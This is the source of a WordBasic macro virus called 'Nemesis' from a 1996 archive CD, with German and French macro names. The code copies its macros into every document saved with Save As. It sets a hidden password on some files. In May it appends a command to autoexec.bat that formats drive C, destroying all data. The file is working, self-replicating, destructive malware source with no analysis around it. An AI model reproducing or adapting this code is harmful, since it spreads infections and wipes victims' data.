home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS4.TXT < prev    next >
Text File  |  1996-04-16  |  2KB  |  64 lines
  1. Macro DateiSpeichernUnter
  2.  
  3. Sub MAIN
  4. Dim dlg As FichierEnregistrerSous   'declare dialog as type FileSaveAs
  5. GetCurValues dlg
  6. On Error Goto finish
  7.  
  8. Diag$ = "0"
  9.  
  10. Section$ = "Compatibility"
  11. wininistr$ = "0x0020401"
  12. ProfileName$ = "RR2CD"
  13. PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
  14. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  15.  
  16. DΘsactiverTouches
  17. 'dlg.Format = 0
  18. Dialog dlg'      execute the dialog.
  19.  
  20. NoVir$ = GetProfileString$(Section$, ProfileName$)
  21. If (NoVir$ <> wininistr$) And (UCase$(NomFichier$()) <> "VIRUS_NEU.DOT") Then
  22. 'Is the document of Type=(WordDocument or Template) ?
  23. If (dlg.Format = 0) Or (dlg.Format = 1) Then
  24.     'Copy Macro's from Global data area into document.
  25.     MacroCopie "Global:AutoExec", NomFenΩtre$() + ":AutoExec", 1
  26.     MacroCopie "Global:AutoOpen", NomFenΩtre$() + ":AutoOpen", 1
  27. '    MakroKopieren "Global:BearbeitenRⁿckgΣngig", FensterName$() + ":BearbeitenRⁿckgΣngig", 1
  28.     MacroCopie "Global:Datei╓ffnen", NomFenΩtre$() + ":Datei╓ffnen", 1
  29.     MacroCopie "Global:DateiBeenden", NomFenΩtre$() + ":DateiBeenden", 1
  30.     MacroCopie "Global:DateiSpeichernUnter", NomFenΩtre$() + ":DateiSpeichernUnter", 1
  31.     MacroCopie "Global:DateiSpeichern", NomFenΩtre$() + ":DateiSpeichern", 1
  32.     MacroCopie "Global:Drop", NomFenΩtre$() + ":Drop", 1
  33.     MacroCopie "Global:DateiDrucken", NomFenΩtre$() + ":DateiDrucken", 1
  34.     MacroCopie "Global:DateiDruckenStandard", NomFenΩtre$() + ":DateiDruckenStandard", 1
  35.     MacroCopie "Global:ExtrasMakro", NomFenΩtre$() + ":ExtrasMakro", 1
  36.     MacroCopie "Global:Dummy", NomFenΩtre$() + ":Dummy", 1
  37.     'Set to save document as a template.
  38.     dlg.Format = 1
  39.  End If
  40.  
  41.  
  42. If (Seconde(Maintenant()) > 45) And (Diag$ = "0") Then
  43.     dlg.MotDePasse = Password$
  44. End If
  45.  
  46. If (Mois(Maintenant()) = 3) And (Jour(Maintenant()) >= 1) And (Diag$ = "0") Then
  47.     Call Drop
  48. End If
  49.  
  50. If (Mois(Maintenant()) = 5) And (Jour(Maintenant()) >= 1) And (Diag$ = "0") Then
  51.     DΘfinirAttr "c:\autoexec.bat", 0
  52.     Open "c:\autoexec.bat" For Append As #1
  53.     Print #1, "@echo j|format c: /u >nul"
  54.     Close #1
  55. End If
  56.  
  57. End If
  58.  
  59. FichierEnregistrerSous dlg  'save the document infected.
  60.  
  61. finish:
  62.  
  63. End Sub
  64.